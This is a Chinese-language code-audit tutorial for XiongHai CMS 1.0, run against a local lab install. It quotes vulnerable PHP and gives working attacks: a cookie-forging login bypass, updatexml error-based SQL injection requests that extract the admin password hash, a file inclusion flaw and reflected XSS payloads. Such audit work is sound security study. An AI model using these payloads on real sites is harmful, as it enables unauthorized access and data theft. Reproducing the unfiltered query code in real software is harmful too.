熊海cms1.0代码审计

这个应该是比较简单的php代码审计了，适合新手

一、环境搭建

cms下载地址：

https://down.chinaz.com/soft/36930.htm

然后phpstudy环境搭建，php版本要小于7，之后要自己新建一个数据库

访问

http://localhost/xhcms1.0/install/index.php

二、代码审计

在cnvd里面看到有很多漏洞，一个个尝试吧

（1）后台存在登录绕过漏洞

提示我们可以通过伪造cookie绕过登录检测，代码位于inc\checklogin.php

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;    
}
?>

如果cookie里面的user为空就转到登录页面，那我们可以给user赋值来绕过

直接访问admin/页面

直接进入到了网站后台。

（2）登录后台user处存在SQL注入

代码位于admin\files\login.php

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('1');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
//echo $passwords;
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('2');history.back();</Script>";
exit;    
    }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>

这里没有对user进行过滤，直接拼接到了SQL语句里面，所以我们可以构造一下报错注入

POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 95
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

user=admin'or updatexml(1,(select concat(0x7e,password) from manage),1)#&password=123&login=yes

可以在源码里发现后面有个md5加密，所以储存的密码应该是32位，不符合。

用mid打印出完整的

POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 105
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

user=admin'or updatexml(1,concat(0x7e,mid((select password from manage),2,33)),1)#&password=123&login=yes

md5解密

可以得知admin密码为admin

（3）前（后）台文件包含漏洞

前台漏洞代码位于：index.php，后台漏洞代码位于：admin\index.php

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

get方式获取r，然后经过addslashes函数处理，之后判断，再然后拼接读取

如果php版本小于等于5.3.4可以使用%00截断实现任意文件读取，但如果高了就只能进行php文件读取

（4）后台SQL注入

1、admin/files/editcolumn

$id=$_GET['id'];
$type=$_GET['type'];

if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}

很明显的SQL注入漏洞

http://localhost/xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

2、admin/files/editlink.php

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$link = mysql_fetch_array($resul);

几乎一模一样

3、admin/files/editsoft.php与admin/files/editwz.php

也是一样的

4、and '1'='1闭合构造SQL注入

POST /xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1 HTTP/1.1
Host: 192.168.10.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

save=1&name=a' or updatexml(1,concat(0x7e,version()),1) and '1'='1&keywords=b&description=c&xs=d&px=e&content=f

还有很多类似的，像manageinfo.php里面也有

（5）前台xss漏洞

1、/files/contact.php

/index.php?r=contact&page=<script>alert(1)</script>

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}

<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>

没有过滤直接拼接

2、/files/content.php

差不多的，id

"><script>alert(1)</script>